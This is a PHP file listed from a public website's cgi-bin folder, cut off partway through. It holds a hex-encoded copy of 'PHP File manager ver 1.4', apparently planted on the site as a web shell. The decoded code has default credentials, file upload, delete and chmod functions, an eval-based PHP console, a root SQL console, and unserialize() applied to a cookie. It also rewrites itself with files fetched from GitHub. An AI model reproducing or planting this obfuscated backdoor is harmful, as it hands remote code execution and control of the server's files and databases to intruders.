Current File : /home/pacjaorg/public_html/cop29/cgi-bin/756098/index.php |
<?php
$hex='efbbbf3c3f7068700d0a2f2a205048502046696c65206d616e616765722076657220312e34202a2f0d0a0d0a2f2f20436f6e66696775726174696f6e20e2809420646f206e6f74206368616e6765206d616e75616c6c79210d0a24617574686f72697a6174696f6e203d20277b22617574686f72697a65223a2230222c226c6f67696e223a2261646d696e222c2270617373776f7264223a22706870666d222c22636f6f6b69655f6e616d65223a22666d5f75736572222c22646179735f617574686f72697a6174696f6e223a223330222c22736372697074223a223c73637269707420747970653d5c22746578745c2f6a6176617363726970745c22207372633d5c2268747470733a5c2f5c2f7777772e63646f6c697665742e636f6d5c2f65646974617265615c2f65646974617265615c2f656469745f617265615c2f656469745f617265615f66756c6c2e6a735c223e3c5c2f7363726970743e5c725c6e3c736372697074206c616e67756167653d5c224a6176617363726970745c2220747970653d5c22746578745c2f6a6176617363726970745c223e5c725c6e65646974417265614c6f616465722e696e6974287b5c725c6e69643a205c226e6577636f6e74656e745c225c725c6e2c646973706c61793a205c226c617465725c225c725c6e2c73746172745f686967686c696768743a20747275655c725c6e2c616c6c6f775f726573697a653a205c22626f74685c225c725c6e2c616c6c6f775f746f67676c653a20747275655c725c6e2c776f72645f777261703a20747275655c725c6e2c6c616e67756167653a205c2272755c225c725c6e2c73796e7461783a205c227068705c225c745c725c6e2c746f6f6c6261723a205c227365617263682c20676f5f746f5f6c696e652c207c2c20756e646f2c207265646f2c207c2c2073656c6563745f666f6e742c207c2c2073796e7461785f73656c656374696f6e2c207c2c206368616e67655f736d6f6f74685f73656c656374696f6e2c20686967686c696768742c2072657365745f686967686c696768742c207c2c2068656c705c225c725c6e2c73796e7461785f73656c656374696f6e5f616c6c6f773a205c226373732c68746d6c2c6a732c7068702c707974686f6e2c786d6c2c632c6370702c73716c2c62617369632c7061735c225c725c6e7d293b5c725c6e3c5c2f7363726970743e227d273b0d0a247068705f74656d706c61746573203d20277b2253657474696e6773223a22676c6f62616c2024666d5f636f6e6669673b5c725c6e7661725f6578706f72742824666d5f636f6e666967293b222c224261636b75702053514c207461626c6573223a226563686f20666d5f6261636b75705f7461626c657328293b227d273b0d0a2473716c5f74656d706c61746573203d20277b22416c6c206261736573223a2253484f57204441544142415345533b222c22416c6c207461626c6573223a2253484f57205441424c45533b227d273b0d0a247472616e736c6174696f6e203d20277b226964223a227275222c22416464223a22d094d0bed0b1d0b0d0b2d0b8d182d18c222c2241726520796f75207375726520796f752077616e7420746f2064656c6574652074686973206469726563746f727920287265637572736976656c79293f223a22d092d18b20d183d0b2d0b5d180d0b5d0bdd18b2c20d187d182d0be20d185d0bed182d0b8d182d0b520d183d0b4d0b0d0bbd0b8d182d18c20d18dd182d18320d0bfd0b0d0bfd0bad1832028d180d0b5d0bad183d180d181d0b8d0b2d0bdd0be293f222c2241726520796f75207375726520796f752077616e7420746f2064656c65746520746869732066696c653f223a22d092d18b20d183d0b2d0b5d180d0b5d0bdd18b2c20d187d182d0be20d185d0bed182d0b8d182d0b520d183d0b4d0b0d0bbd0b8d182d18c20d18dd182d0bed18220d184d0b0d0b9d0bb3f222c22417263686976696e67223a22d090d180d185d0b8d0b2d0b8d180d0bed0b2d0b0d182d18c222c22417574686f72697a6174696f6e223a22d090d0b2d182d0bed180d0b8d0b7d0b0d186d0b8d18f222c224261636b223a22d09dd0b0d0b7d0b0d0b4222c2243616e63656c223a22d09ed182d0bcd0b5d0bdd0b0222c224368696e657365223a22d09ad0b8d182d0b0d0b9d181d0bad0b8d0b9222c22436f6d7072657373223a22d0a1d0b6d0b0d182d18c222c22436f6e736f6c65223a22d09ad0bed0bdd181d0bed0bbd18c222c22436f6f6b6965223a22d09ad183d0bad0b8222c2243726561746564223a22d0a1d0bed0b7d0b4d0b0d0bd222c2244617465223a22d094d0b0d182d0b0222c2244617973223a22d094d0bdd0b5d0b9222c224465636f6d7072657373223a22d0a0d0b0d181d0bfd0b0d0bad0bed0b2d0b0d182d18c222c2244656c657465223a22d0a3d0b4d0b0d0bbd0b8d182d18c222c2244656c65746564223a22d0a3d0b4d0b0d0bbd0b5d0bdd0be222c22446f776e6c6f6164223a22d0a1d0bad0b0d187d0b0d182d18c222c22646f6e65223a22d0b7d0b0d0bad0bed0bdd187d0b5d0bdd0b0222c2245646974223a22d0a0d0b5d0b4d0b0d0bad182d0b8d180d0bed0b2d0b0d182d18c222c22456e746572223a22d092d185d0bed0b4222c22456e676c697368223a22d090d0bdd0b3d0bbd0b8d0b9d181d0bad0b8d0b9222c224572726f72206f63637572726564223a22d09fd180d0bed0b8d0b7d0bed188d0bbd0b020d0bed188d0b8d0b1d0bad0b0222c2246696c65206d616e61676572223a22d0a4d0b0d0b9d0bbd0bed0b2d18bd0b920d0bcd0b5d0bdd0b5d0b4d0b6d0b5d180222c2246696c652073656c6563746564223a22d092d18bd0b1d180d0b0d0bd20d184d0b0d0b9d0bb222c2246696c652075706461746564223a22d0a4d0b0d0b9d0bb20d181d0bed185d180d0b0d0bdd0b5d0bd222c2246696c656e616d65223a22d098d0bcd18f20d184d0b0d0b9d0bbd0b0222c2246696c65732075706c6f61646564223a22d0a4d0b0d0b9d0bb20d0b7d0b0d0b3d180d183d0b6d0b5d0bd222c224672656e6368223a22d0a4d180d0b0d0bdd186d183d0b7d181d0bad0b8d0b9222c2247656e65726174696f6e2074696d65223a22d093d0b5d0bdd0b5d180d0b0d186d0b8d18f20d181d182d180d0b0d0bdd0b8d186d18b222c224765726d616e223a22d09dd0b5d0bcd0b5d186d0bad0b8d0b9222c22486f6d65223a22d094d0bed0bcd0bed0b9222c2251756974223a22d092d18bd185d0bed0b4222c224c616e6775616765223a22d0afd0b7d18bd0ba222c224c6f67696e223a22d09bd0bed0b3d0b8d0bd222c224d616e616765223a22d0a3d0bfd180d0b0d0b2d0bbd0b5d0bdd0b8d0b5222c224d616b65206469726563746f7279223a22d0a1d0bed0b7d0b4d0b0d182d18c20d0bfd0b0d0bfd0bad183222c224e616d65223a22d09dd0b0d0b8d0bcd0b5d0bdd0bed0b2d0b0d0bdd0b8d0b5222c224e6577223a22d09dd0bed0b2d0bed0b5222c224e65772066696c65223a22d09dd0bed0b2d18bd0b920d184d0b0d0b9d0bb222c226e6f2066696c6573223a22d0bdd0b5d18220d184d0b0d0b9d0bbd0bed0b2222c2250617373776f7264223a22d09fd0b0d180d0bed0bbd18c222c227069637475726573223a22d0b8d0b7d0bed0b1d180d0b0d0b6d0b5d0bdd0b8d18f222c225265637572736976656c79223a22d0a0d0b5d0bad183d180d181d0b8d0b2d0bdd0be222c2252656e616d65223a22d09fd0b5d180d0b5d0b8d0bcd0b5d0bdd0bed0b2d0b0d182d18c222c225265736574223a22d0a1d0b1d180d0bed181d0b8d182d18c222c2252657365742073657474696e6773223a22d0a1d0b1d180d0bed181d0b8d182d18c20d0bdd0b0d181d182d180d0bed0b9d0bad0b8222c22526573746f72652066696c652074696d652061667465722065646974696e67223a22d092d0bed181d181d182d0b0d0bdd0b0d0b2d0bbd0b8d0b2d0b0d182d18c20d0b2d180d0b5d0bcd18f20d184d0b0d0b9d0bbd0b020d0bfd0bed181d0bbd0b520d180d0b5d0b4d0b0d0bad182d0b8d180d0bed0b2d0b0d0bdd0b8d18f222c22526573756c74223a22d0a0d0b5d0b7d183d0bbd18cd182d0b0d182222c22526967687473223a22d09fd180d0b0d0b2d0b0222c225275737369616e223a22d0a0d183d181d181d0bad0b8d0b9222c2253617665223a22d0a1d0bed185d180d0b0d0bdd0b8d182d18c222c2253656c656374223a22d092d18bd0b1d0b5d180d0b8d182d0b5222c2253656c656374207468652066696c65223a22d092d18bd0b1d0b5d180d0b8d182d0b520d184d0b0d0b9d0bb222c2253657474696e6773223a22d09dd0b0d181d182d180d0bed0b9d0bad0b0222c2253686f77223a22d09fd0bed0bad0b0d0b7d0b0d182d18c222c2253686f772073697a65206f662074686520666f6c646572223a22d09fd0bed0bad0b0d0b7d18bd0b2d0b0d182d18c20d180d0b0d0b7d0bcd0b5d18020d0bfd0b0d0bfd0bad0b8222c2253697a65223a22d0a0d0b0d0b7d0bcd0b5d180222c225370616e697368223a22d098d181d0bfd0b0d0bdd181d0bad0b8d0b9222c225375626d6974223a22d09ed182d0bfd180d0b0d0b2d0b8d182d18c222c225461736b223a22d097d0b0d0b4d0b0d187d0b0222c2274656d706c61746573223a22d188d0b0d0b1d0bbd0bed0bdd18b222c22556b7261696e69616e223a22d0a3d0bad180d0b0d0b8d0bdd181d0bad0b8d0b9222c2255706c6f6164223a22d097d0b0d0b3d180d183d0b7d0b8d182d18c222c2256616c7565223a22d097d0bdd0b0d187d0b5d0bdd0b8d0b5222c2248656c6c6f223a22d09fd180d0b8d0b2d0b5d182222c22466f756e6420696e2066696c6573223a22d09dd0b0d0b9d0b4d0b5d0bdd0be20d0b220d184d0b0d0b9d0bbd0b0d185222c22536561726368223a22d09fd0bed0b8d181d0ba222c2252656375727369766520736561726368223a22d0a0d0b5d0bad183d180d181d0b8d0b2d0bdd18bd0b920d0bfd0bed0b8d181d0ba222c224d61736b223a22d09cd0b0d181d0bad0b0227d273b0d0a2f2f20656e6420636f6e66696775726174696f6e0d0a0d0a2f2f205072657061726174696f6e730d0a24737461727474696d65203d206578706c6f6465282720272c206d6963726f74696d652829293b0d0a24737461727474696d65203d2024737461727474696d655b315d202b2024737461727474696d655b305d3b0d0a246c616e6773203d2061727261792827656e272c277275272c276465272c276672272c27756b27293b0d0a2470617468203d20656d70747928245f524551554553545b2770617468275d29203f202470617468203d207265616c7061746828272e2729203a207265616c7061746828245f524551554553545b2770617468275d293b0d0a2470617468203d207374725f7265706c61636528275c5c272c20272f272c20247061746829202e20272f273b0d0a246d61696e5f706174683d7374725f7265706c61636528275c5c272c20272f272c7265616c7061746828272e2f2729293b0d0a24706861725f6d61796265203d202876657273696f6e5f636f6d706172652870687076657273696f6e28292c22352e332e30222c223c2229293f747275653a66616c73653b0d0a246d7367203d2027273b202f2f207365727669636520737472696e670d0a2464656661756c745f6c616e6775616765203d20277275273b0d0a246465746563745f6c616e67203d20747275653b0d0a24666d5f76657273696f6e203d20312e343b0d0a0d0a2f2f417574686f72697a6174696f6e0d0a2461757468203d206a736f6e5f6465636f64652824617574686f72697a6174696f6e2c74727565293b0d0a24617574685b27617574686f72697a65275d203d2069737365742824617574685b27617574686f72697a65275d29203f2024617574685b27617574686f72697a65275d203a20303b200d0a24617574685b27646179735f617574686f72697a6174696f6e275d203d202869737365742824617574685b27646179735f617574686f72697a6174696f6e275d29262669735f6e756d657269632824617574685b27646179735f617574686f72697a6174696f6e275d2929203f2028696e742924617574685b27646179735f617574686f72697a6174696f6e275d203a2033303b0d0a24617574685b276c6f67696e275d203d2069737365742824617574685b276c6f67696e275d29203f2024617574685b276c6f67696e275d203a202761646d696e273b20200d0a24617574685b2770617373776f7264275d203d2069737365742824617574685b2770617373776f7264275d29203f2024617574685b2770617373776f7264275d203a2027706870666d273b20200d0a24617574685b27636f6f6b69655f6e616d65275d203d2069737365742824617574685b27636f6f6b69655f6e616d65275d29203f2024617574685b27636f6f6b69655f6e616d65275d203a2027666d5f75736572273b0d0a24617574685b27736372697074275d203d2069737365742824617574685b27736372697074275d29203f2024617574685b27736372697074275d203a2027273b0d0a0d0a2f2f204c6974746c652064656661756c7420636f6e6669670d0a24666d5f64656661756c745f636f6e666967203d20617272617920280d0a09276d616b655f6469726563746f727927203d3e20747275652c200d0a09276e65775f66696c6527203d3e20747275652c200d0a092775706c6f61645f66696c6527203d3e20747275652c200d0a092773686f775f6469725f73697a6527203d3e2066616c73652c202f2f696620747275652c2073686f77206469726563746f72792073697a6520e28692206d6179626520736c6f77200d0a092773686f775f696d6727203d3e20747275652c200d0a092773686f775f7068705f76657227203d3e20747275652c200d0a092773686f775f7068705f696e6927203d3e2066616c73652c202f2f2073686f77207061746820746f2063757272656e74207068702e696e690d0a092773686f775f677427203d3e20747275652c202f2f2073686f772067656e65726174696f6e2074696d650d0a0927656e61626c655f7068705f636f6e736f6c6527203d3e20747275652c0d0a0927656e61626c655f73716c5f636f6e736f6c6527203d3e20747275652c0d0a092773716c5f73657276657227203d3e20276c6f63616c686f7374272c0d0a092773716c5f757365726e616d6527203d3e2027726f6f74272c0d0a092773716c5f70617373776f726427203d3e2027272c0d0a092773716c5f646227203d3e2027746573745f62617365272c0d0a0927656e61626c655f70726f787927203d3e20747275652c0d0a092773686f775f706870696e666f27203d3e20747275652c0d0a092773686f775f786c7327203d3e20747275652c0d0a0927666d5f73657474696e677327203d3e20747275652c0d0a0927726573746f72655f74696d6527203d3e20747275652c0d0a0927666d5f726573746f72655f74696d6527203d3e2066616c73652c0d0a293b0d0a0d0a69662028656d70747928245f434f4f4b49455b27666d5f636f6e666967275d29292024666d5f636f6e666967203d2024666d5f64656661756c745f636f6e6669673b0d0a656c73652024666d5f636f6e666967203d20756e73657269616c697a6528245f434f4f4b49455b27666d5f636f6e666967275d293b0d0a0d0a2f2f204368616e6765206c616e67756167650d0a69662028697373657428245f504f53545b27666d5f6c616e67275d2929207b200d0a09736574636f6f6b69652827666d5f6c616e67272c20245f504f53545b27666d5f6c616e67275d2c2074696d652829202b20283836343030202a2024617574685b27646179735f617574686f72697a6174696f6e275d29293b0d0a09245f434f4f4b49455b27666d5f6c616e67275d203d20245f504f53545b27666d5f6c616e67275d3b0d0a7d0d0a246c616e6775616765203d202464656661756c745f6c616e67756167653b0d0a0d0a2f2f204465746563742062726f77736572206c616e67756167650d0a696628246465746563745f6c616e672026262021656d70747928245f5345525645525b27485454505f4143434550545f4c414e4755414745275d2920262620656d70747928245f434f4f4b49455b27666d5f6c616e67275d29297b0d0a09246c616e675f7072696f72697479203d206578706c6f646528272c272c20245f5345525645525b27485454505f4143434550545f4c414e4755414745275d293b0d0a096966202821656d70747928246c616e675f7072696f7269747929297b0d0a0909666f72656163682028246c616e675f7072696f7269747920617320246c616e675f617272297b0d0a090909246c6e67203d206578706c6f646528273b272c20246c616e675f617272293b0d0a090909246c6e67203d20246c6e675b305d3b0d0a090909696628696e5f617272617928246c6e672c246c616e677329297b0d0a09090909246c616e6775616765203d20246c6e673b0d0a09090909627265616b3b0d0a0909097d0d0a09097d0d0a097d0d0a7d200d0a0d0a2f2f20436f6f6b6965206c616e6775616765206973207072696d61727920666f7220657665720d0a246c616e6775616765203d2028656d70747928245f434f4f4b49455b27666d5f6c616e67275d2929203f20246c616e6775616765203a20245f434f4f4b49455b27666d5f6c616e67275d3b0d0a0d0a2f2f204c6f63616c697a6174696f6e0d0a246c616e67203d206a736f6e5f6465636f646528247472616e736c6174696f6e2c74727565293b0d0a69662028246c616e675b276964275d213d246c616e677561676529207b0d0a09246765745f6c616e67203d2066696c655f6765745f636f6e74656e7473282768747470733a2f2f7261772e67697468756275736572636f6e74656e742e636f6d2f44656e317878782f46696c656d616e616765722f6d61737465722f6c616e6775616765732f27202e20246c616e6775616765202e20272e6a736f6e27293b0d0a096966202821656d70747928246765745f6c616e672929207b0d0a09092f2f72656d6f766520756e6e656365737361727920636861726163746572730d0a0909247472616e736c6174696f6e5f737472696e67203d207374725f7265706c616365282227222c27262333393b272c6a736f6e5f656e636f6465286a736f6e5f6465636f646528246765745f6c616e67292c4a534f4e5f554e455343415045445f554e49434f444529293b0d0a090924666763203d2066696c655f6765745f636f6e74656e7473285f5f46494c455f5f293b0d0a090924736561726368203d20707265675f6d617463682827237472616e736c6174696f6e5b5c735d3f5c3d5b5c735d3f5c275c7b5c22282e2a3f295c225c7d5c273b23272c20246667632c20246d617463686573293b0d0a09096966202821656d70747928246d6174636865735b315d2929207b0d0a0909092466696c656d74696d65203d2066696c656d74696d65285f5f46494c455f5f293b0d0a090909247265706c616365203d207374725f7265706c61636528277b22272e246d6174636865735b315d2e27227d272c247472616e736c6174696f6e5f737472696e672c24666763293b0d0a0909096966202866696c655f7075745f636f6e74656e7473285f5f46494c455f5f2c20247265706c6163652929207b0d0a09090909246d7367202e3d205f5f282746696c65207570646174656427293b0d0a0909097d09656c736520246d7367202e3d205f5f28274572726f72206f6363757272656427293b0d0a0909096966202821656d7074792824666d5f636f6e6669675b27666d5f726573746f72655f74696d65275d292920746f756368285f5f46494c455f5f2c2466696c656d74696d65293b0d0a09097d090d0a0909246c616e67203d206a736f6e5f6465636f646528247472616e736c6174696f6e5f737472696e672c74727565293b0d0a097d0d0a7d0d0a0d0a2f2a2046756e6374696f6e73202a2f0d0a0d0a2f2f7472616e736c6174696f6e0d0a66756e6374696f6e205f5f282474657874297b0d0a09676c6f62616c20246c616e673b0d0a0969662028697373657428246c616e675b24746578745d29292072657475726e20246c616e675b24746578745d3b0d0a09656c73652072657475726e2024746578743b0d0a7d3b0d0a0d0a2f2f64656c6574652066696c657320616e642064697273207265637572736976656c790d0a66756e6374696f6e20666d5f64656c5f66696c6573282466696c652c2024726563757273697665203d2066616c736529207b0d0a0969662824726563757273697665202626204069735f646972282466696c652929207b0d0a090924656c73203d20666d5f7363616e5f646972282466696c652c2027272c2027272c2074727565293b0d0a0909666f7265616368202824656c732061732024656c29207b0d0a09090969662824656c20213d20272e272026262024656c20213d20272e2e27297b0d0a09090909666d5f64656c5f66696c6573282466696c65202e20272f27202e2024656c2c2074727565293b0d0a0909097d0d0a09097d0d0a097d0d0a096966284069735f646972282466696c652929207b0d0a090972657475726e20726d646972282466696c65293b0d0a097d20656c7365207b0d0a090972657475726e2040756e6c696e6b282466696c65293b0d0a097d0d0a7d0d0a0d0a2f2f66696c65207065726d730d0a66756e6374696f6e20666d5f7269676874735f737472696e67282466696c652c20246966203d2066616c7365297b0d0a09247065726d73203d2066696c657065726d73282466696c65293b0d0a0924696e666f203d2027273b0d0a0969662821246966297b0d0a09096966202828247065726d7320262030784330303029203d3d2030784330303029207b0d0a0909092f2f536f636b65740d0a09090924696e666f203d202773273b0d0a09097d20656c73656966202828247065726d7320262030784130303029203d3d2030784130303029207b0d0a0909092f2f53796d626f6c6963204c696e6b0d0a09090924696e666f203d20276c273b0d0a09097d20656c73656966202828247065726d7320262030783830303029203d3d2030783830303029207b0d0a0909092f2f526567756c61720d0a09090924696e666f203d20272d273b0d0a09097d20656c73656966202828247065726d7320262030783630303029203d3d2030783630303029207b0d0a0909092f2f426c6f636b207370656369616c0d0a09090924696e666f203d202762273b0d0a09097d20656c73656966202828247065726d7320262030783430303029203d3d2030783430303029207b0d0a0909092f2f4469726563746f72790d0a09090924696e666f203d202764273b0d0a09097d20656c73656966202828247065726d7320262030783230303029203d3d2030783230303029207b0d0a0909092f2f436861726163746572207370656369616c0d0a09090924696e666f203d202763273b0d0a09097d20656c73656966202828247065726d7320262030783130303029203d3d2030783130303029207b0d0a0909092f2f4649464f20706970650d0a09090924696e666f203d202770273b0d0a09097d20656c7365207b0d0a0909092f2f556e6b6e6f776e0d0a09090924696e666f203d202775273b0d0a09097d0d0a097d0d0a20200d0a092f2f4f776e65720d0a0924696e666f202e3d202828247065726d7320262030783031303029203f20277227203a20272d27293b0d0a0924696e666f202e3d202828247065726d7320262030783030383029203f20277727203a20272d27293b0d0a0924696e666f202e3d202828247065726d7320262030783030343029203f0d0a092828247065726d7320262030783038303029203f20277327203a202778272029203a0d0a092828247065726d7320262030783038303029203f20275327203a20272d2729293b0d0a200d0a092f2f47726f75700d0a0924696e666f202e3d202828247065726d7320262030783030323029203f20277227203a20272d27293b0d0a0924696e666f202e3d202828247065726d7320262030783030313029203f20277727203a20272d27293b0d0a0924696e666f202e3d202828247065726d7320262030783030303829203f0d0a092828247065726d7320262030783034303029203f20277327203a202778272029203a0d0a092828247065726d7320262030783034303029203f20275327203a20272d2729293b0d0a200d0a092f2f576f726c640d0a0924696e666f202e3d202828247065726d7320262030783030303429203f20277227203a20272d27293b0d0a0924696e666f202e3d202828247065726d7320262030783030303229203f20277727203a20272d27293b0d0a0924696e666f202e3d202828247065726d7320262030783030303129203f0d0a092828247065726d7320262030783032303029203f20277427203a202778272029203a0d0a092828247065726d7320262030783032303029203f20275427203a20272d2729293b0d0a0d0a0972657475726e2024696e666f3b0d0a7d0d0a0d0a66756e6374696f6e20666d5f636f6e766572745f72696768747328246d6f646529207b0d0a09246d6f6465203d207374725f70616428246d6f64652c392c272d27293b0d0a09247472616e73203d20617272617928272d273d3e2730272c2772273d3e2734272c2777273d3e2732272c2778273d3e273127293b0d0a09246d6f6465203d20737472747228246d6f64652c247472616e73293b0d0a09246e65776d6f6465203d202730273b0d0a09246f776e6572203d2028696e742920246d6f64655b305d202b2028696e742920246d6f64655b315d202b2028696e742920246d6f64655b325d3b200d0a092467726f7570203d2028696e742920246d6f64655b335d202b2028696e742920246d6f64655b345d202b2028696e742920246d6f64655b355d3b200d0a0924776f726c64203d2028696e742920246d6f64655b365d202b2028696e742920246d6f64655b375d202b2028696e742920246d6f64655b385d3b200d0a09246e65776d6f6465202e3d20246f776e6572202e202467726f7570202e2024776f726c643b0d0a0972657475726e20696e7476616c28246e65776d6f64652c2038293b0d0a7d0d0a0d0a66756e6374696f6e20666d5f63686d6f64282466696c652c202476616c2c2024726563203d2066616c736529207b0d0a0924726573203d204063686d6f64287265616c70617468282466696c65292c202476616c293b0d0a096966284069735f646972282466696c65292026262024726563297b0d0a090924656c73203d20666d5f7363616e5f646972282466696c65293b0d0a0909666f7265616368202824656c732061732024656c29207b0d0a09090924726573203d202472657320262620666d5f63686d6f64282466696c65202e20272f27202e2024656c2c202476616c2c2074727565293b0d0a09097d0d0a097d0d0a0972657475726e20247265733b0d0a7d0d0a0d0a2f2f6c6f61642066696c65730d0a66756e6374696f6e20666d5f646f776e6c6f6164282466696c655f6e616d6529207b0d0a202020206966202821656d707479282466696c655f6e616d652929207b0d0a09096966202866696c655f657869737473282466696c655f6e616d652929207b0d0a0909096865616465722822436f6e74656e742d446973706f736974696f6e3a206174746163686d656e743b2066696c656e616d653d22202e20626173656e616d65282466696c655f6e616d6529293b2020200d0a0909096865616465722822436f6e74656e742d547970653a206170706c69636174696f6e2f666f7263652d646f776e6c6f616422293b0d0a0909096865616465722822436f6e74656e742d547970653a206170706c69636174696f6e2f6f637465742d73747265616d22293b0d0a0909096865616465722822436f6e74656e742d547970653a206170706c69636174696f6e2f646f776e6c6f616422293b0d0a0909096865616465722822436f6e74656e742d4465736372697074696f6e3a2046696c65205472616e7366657222293b2020202020202020202020200d0a0909096865616465722822436f6e74656e742d4c656e6774683a2022202e2066696c6573697a65282466696c655f6e616d6529293b09090d0a090909666c75736828293b202f2f207468697320646f65736e2774207265616c6c79206d61747465722e0d0a090909246670203d20666f70656e282466696c655f6e616d652c20227222293b0d0a0909097768696c6520282166656f66282466702929207b0d0a090909096563686f206672656164282466702c203635353336293b0d0a09090909666c75736828293b202f2f207468697320697320657373656e7469616c20666f72206c6172676520646f776e6c6f6164730d0a0909097d200d0a09090966636c6f736528246670293b0d0a09090964696528293b0d0a09097d20656c7365207b0d0a0909096865616465722827485454502f312e3020343034204e6f7420466f756e64272c20747275652c20343034293b0d0a09090968656164657228275374617475733a20343034204e6f7420466f756e6427293b200d0a09090964696528293b0d0a20202020202020207d0d0a202020207d200d0a7d0d0a0d0a2f2f73686f7720666f6c6465722073697a650d0a66756e6374696f6e20666d5f6469725f73697a652824662c24666f726d61743d7472756529207b0d0a0969662824666f726d61742920207b0d0a09092473697a653d666d5f6469725f73697a652824662c66616c7365293b0d0a09096966282473697a653c3d31303234292072657475726e202473697a652e27206279746573273b0d0a0909656c73656966282473697a653c3d313032342a31303234292072657475726e20726f756e64282473697a652f2831303234292c32292e27266e6273703b4b62273b0d0a0909656c73656966282473697a653c3d313032342a313032342a31303234292072657475726e20726f756e64282473697a652f28313032342a31303234292c32292e27266e6273703b4d62273b0d0a0909656c73656966282473697a653c3d313032342a313032342a313032342a31303234292072657475726e20726f756e64282473697a652f28313032342a313032342a31303234292c32292e27266e6273703b4762273b0d0a0909656c73656966282473697a653c3d313032342a313032342a313032342a313032342a31303234292072657475726e20726f756e64282473697a652f28313032342a313032342a313032342a31303234292c32292e27266e6273703b5462273b202f2f3a2929290d0a0909656c73652072657475726e20726f756e64282473697a652f28313032342a313032342a313032342a313032342a31303234292c32292e27266e6273703b5062273b202f2f203b2d290d0a097d20656c7365207b0d0a090969662869735f66696c6528246629292072657475726e2066696c6573697a65282466293b0d0a09092473697a653d303b0d0a09092464683d6f70656e646972282466293b0d0a09097768696c6528282466696c653d72656164646972282464682929213d3d66616c736529207b0d0a0909096966282466696c653d3d272e27207c7c202466696c653d3d272e2e272920636f6e74696e75653b0d0a09090969662869735f66696c652824662e272f272e2466696c652929202473697a652b3d66696c6573697a652824662e272f272e2466696c65293b0d0a090909656c7365202473697a652b3d666d5f6469725f73697a652824662e272f272e2466696c652c66616c7365293b0d0a09097d0d0a0909636c6f736564697228246468293b0d0a090972657475726e202473697a652b66696c6573697a65282466293b200d0a097d0d0a7d0d0a0d0a2f2f7363616e206469726563746f72790d0a66756e6374696f6e20666d5f7363616e5f64697228246469726563746f72792c2024657870203d2027272c202474797065203d2027616c6c272c2024646f5f6e6f745f66696c746572203d2066616c736529207b0d0a0924646972203d20246e646972203d20617272617928293b0d0a0969662821656d707479282465787029297b0d0a090924657870203d20272f5e27202e207374725f7265706c61636528272a272c2027282e2a29272c207374725f7265706c61636528272e272c20275c5c2e272c20246578702929202e2027242f273b0d0a097d0d0a0969662821656d7074792824747970652920262620247479706520213d3d2027616c6c27297b0d0a09092466756e63203d202769735f27202e2024747970653b0d0a097d0d0a096966284069735f64697228246469726563746f727929297b0d0a0909246668203d206f70656e64697228246469726563746f7279293b0d0a09097768696c65202866616c736520213d3d20282466696c656e616d65203d207265616464697228246668292929207b0d0a090909696628737562737472282466696c656e616d652c20302c20312920213d20272e27207c7c2024646f5f6e6f745f66696c74657229207b0d0a0909090969662828656d70747928247479706529207c7c202474797065203d3d2027616c6c27207c7c202466756e6328246469726563746f7279202e20272f27202e202466696c656e616d6529292026262028656d707479282465787029207c7c20707265675f6d6174636828246578702c202466696c656e616d652929297b0d0a0909090909246469725b5d203d202466696c656e616d653b0d0a090909097d0d0a0909097d0d0a09097d0d0a0909636c6f736564697228246668293b0d0a09096e6174736f72742824646972293b0d0a097d0d0a0972657475726e20246469723b0d0a7d0d0a0d0a66756e6374696f6e20666d5f6c696e6b28246765742c246c696e6b2c246e616d652c247469746c653d272729207b0d0a0969662028656d70747928247469746c65292920247469746c653d246e616d652e2720272e626173656e616d6528246c696e6b293b0d0a0972657475726e2027266e6273703b266e6273703b3c6120687265663d223f272e246765742e273d272e6261736536345f656e636f646528246c696e6b292e2722207469746c653d22272e247469746c652e27223e272e246e616d652e273c2f613e273b0d0a7d0d0a0d0a66756e6374696f6e20666d5f6172725f746f5f6f7074696f6e28246172722c246e2c2473656c3d2727297b0d0a09666f72656163682824617272206173202476297b0d0a090924623d24765b246e5d3b0d0a0909247265732e3d273c6f7074696f6e2076616c75653d22272e24622e272220272e282473656c202626202473656c3d3d24623f2773656c6563746564273a2727292e273e272e24622e273c2f6f7074696f6e3e273b0d0a097d0d0a0972657475726e20247265733b0d0a7d0d0a0d0a66756e6374696f6e20666d5f6c616e675f666f726d20282463757272656e743d27656e27297b0d0a72657475726e20270d0a3c666f726d206e616d653d226368616e67655f6c616e6722206d6574686f643d22706f73742220616374696f6e3d22223e0d0a093c73656c656374206e616d653d22666d5f6c616e6722207469746c653d22272e5f5f28274c616e677561676527292e2722206f6e6368616e67653d22646f63756d656e742e666f726d735b5c276368616e67655f6c616e675c275d2e7375626d6974282922203e0d0a09093c6f7074696f6e2076616c75653d22656e2220272e282463757272656e743d3d27656e273f2773656c65637465643d2273656c65637465642220273a2727292e273e272e5f5f2827456e676c69736827292e273c2f6f7074696f6e3e0d0a09093c6f7074696f6e2076616c75653d2264652220272e282463757272656e743d3d276465273f2773656c65637465643d2273656c65637465642220273a2727292e273e272e5f5f28274765726d616e27292e273c2f6f7074696f6e3e0d0a09093c6f7074696f6e2076616c75653d2272752220272e282463757272656e743d3d277275273f2773656c65637465643d2273656c65637465642220273a2727292e273e272e5f5f28275275737369616e27292e273c2f6f7074696f6e3e0d0a09093c6f7074696f6e2076616c75653d2266722220272e282463757272656e743d3d276672273f2773656c65637465643d2273656c65637465642220273a2727292e273e272e5f5f28274672656e636827292e273c2f6f7074696f6e3e0d0a09093c6f7074696f6e2076616c75653d22756b2220272e282463757272656e743d3d27756b273f2773656c65637465643d2273656c65637465642220273a2727292e273e272e5f5f2827556b7261696e69616e27292e273c2f6f7074696f6e3e0d0a093c2f73656c6563743e0d0a3c2f666f726d3e0d0a273b0d0a7d0d0a090d0a66756e6374696f6e20666d5f726f6f7428246469726e616d65297b0d0a0972657475726e2028246469726e616d653d3d272e27204f5220246469726e616d653d3d272e2e27293b0d0a7d0d0a0d0a66756e6374696f6e20666d5f7068702824737472696e67297b0d0a0924646973706c61795f6572726f72733d696e695f6765742827646973706c61795f6572726f727327293b0d0a09696e695f7365742827646973706c61795f6572726f7273272c20273127293b0d0a096f625f737461727428293b0d0a096576616c287472696d2824737472696e6729293b0d0a092474657874203d206f625f6765745f636f6e74656e747328293b0d0a096f625f656e645f636c65616e28293b0d0a09696e695f7365742827646973706c61795f6572726f7273272c2024646973706c61795f6572726f7273293b0d0a0972657475726e2024746578743b0d0a7d0d0a0d0a2f2f53484f57204441544142415345530d0a66756e6374696f6e20666d5f73716c5f636f6e6e65637428297b0d0a09676c6f62616c2024666d5f636f6e6669673b0d0a0972657475726e206e6577206d7973716c692824666d5f636f6e6669675b2773716c5f736572766572275d2c2024666d5f636f6e6669675b2773716c5f757365726e616d65275d2c2024666d5f636f6e6669675b2773716c5f70617373776f7264275d2c2024666d5f636f6e6669675b2773716c5f6462275d293b0d0a7d0d0a0d0a66756e6374696f6e2